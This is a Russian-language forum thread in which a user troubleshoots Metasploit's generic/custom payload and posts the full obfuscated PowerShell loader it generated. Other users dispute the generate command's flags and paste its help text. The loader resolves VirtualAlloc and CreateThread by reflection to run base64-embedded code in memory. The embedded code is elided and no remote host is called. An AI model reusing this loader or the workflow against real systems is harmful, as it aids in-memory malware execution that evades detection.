• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Проблема Metasploit payload/generic/custom

W

WildMilk

Happy New Year
06.03.2019
5
0
Всем привет.
Кто нибудь знает кастомная нагрузка работает в метасплойт?

msfconsole
use payload/generic/custom
set PAYLOADFILE /tmp/calc.exe
generate -f psh-reflection -o /tmp/TEST13.txt

выдает такой скрипт

Код:
function kEWQ {
    Param ($itRK, $bslVw)      
    $qP7 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $qP7.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qP7.GetMethod('GetModuleHandle')).Invoke($null, @($itRK)))), $bslVw))
}
function aaI {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gzY3,
        [Parameter(Position = 1)] [Type] $wbVsn = [Void]
    )
    $hU = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $hU.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gzY3).SetImplementationFlags('Runtime, Managed')
    $hU.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wbVsn, $gzY3).SetImplementationFlags('Runtime, Managed')
    return $hU.CreateType()
}
[Byte[]]$vec6N = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAA**тут калькулятор в Base64String**AAAAAAAAAAAAAAAA")
$ynY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll VirtualAlloc), (aaI @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $vec6N.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($vec6N, 0, $ynY, $vec6N.length)
$l712s = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll CreateThread), (aaI @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$ynY,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll WaitForSingleObject), (aaI @([IntPtr], [Int32]))).Invoke($l712s,0xffffffff) | Out-Null
Но калькулятор не запускается. Хотя когда делаешь какой нибудь реверс_тсп всё работает.

Почему? :)
 
W

WildMilk

Happy New Year
06.03.2019
5
0
Попробуй изменить расширение с txt на exe.
зачем мне exe?
у меня exe вначале!

msfconsole
use payload/generic/custom
set PAYLOADFILE /tmp/calc.exe
generate -f psh-reflection -o /tmp/TEST13.txt

как то по диагонали что ли читаешь?
 
f22

f22

Red Team
05.05.2019
514
40
как то по диагонали что ли читаешь?
А ты не по диагонали справку читаешь?
посмотри внимательно что ты передаёшь в ключ -о и что нужно, и каким образом

generate -h
OPTIONS:

-E Force encoding.
-b The list of characters to avoid: '\x00\xff'
-e The name of the encoder module to use.
-f The output file name (otherwise stdout)
-h Help banner.
-i the number of encoding iterations.
-k Keep the template executable functional
-o A comma separated list of options in VAR=VAL format.
-p The Platform for output.
-s NOP sled length.
-t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-x The executable template to use

И какой смысл какой смысл создавать файл psh-reflection без расширения, если ты используешь calc.exe?
 
W

WildMilk

Happy New Year
06.03.2019
5
0
psh-reflection без расширения
ну если так будет generate -f psh-reflection -o /tmp/TEST13.ps1 тебе наверное легче станет, расширение то появится :)

сама идея generic/custom взять свою полезную нагрузку и собрать скрипт ( или я что то неправильно понимаю?)

calc.exe в данном случае раскатывается в Base64String , а потом вот тут

[Byte[]]$vec6N = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAA**тут калькулятор в Base64String**AAAAAAAAAAAAAAAA")

запускается из скрипта. Т.е. получается ты как бы встраиваешь exe в скрипт powershell.

Поэтому и вопрос - почему не работает?
 
f22

f22

Red Team
05.05.2019
514
40
ну если так будет generate -f psh-reflection -o /tmp/TEST13.ps1 тебе наверное легче станет
Второй раз рекомендую тебе прочесть справку.
Специально для тебя переведу с незнакомого тебе языка на русский:

-o A comma separated list of options in VAR=VAL format.

Ключ -о
подразумевает наличие списка опций вида ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ.

А теперь посмотри, что у тебя после этого ключа идёт, при чём тут расширение?
 
W

WildMilk

Happy New Year
06.03.2019
5
0
Ключ -о подразумевает наличие списка опций вида ПЕРЕМЕННАЯ=ЗНАЧЕНИЕ
я вообще думал что -o <opt> Имя выходного файла

msf5 payload(generic/custom) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

-E Force encoding
-O <opt> Deprecated: alias for the '-o' option
-P <opt> Total desired payload size, auto-produce approproate NOPsled length
-S <opt> The new section name to use when generating (large) Windows binaries
-b <opt> The list of characters to avoid example: '\x00\xff'
-e <opt> The encoder to use
-f <opt> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-h Show this message
-i <opt> The number of times to encode the payload
-k Preserve the template behavior and inject the payload as a new thread
-n <opt> Prepend a nopsled of [length] size on to the payload
-o <opt> The output file name (otherwise stdout)
-p <opt> The platform of the payload
-s <opt> NOP sled length.
-x <opt> Specify a custom executable file to use as a template
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб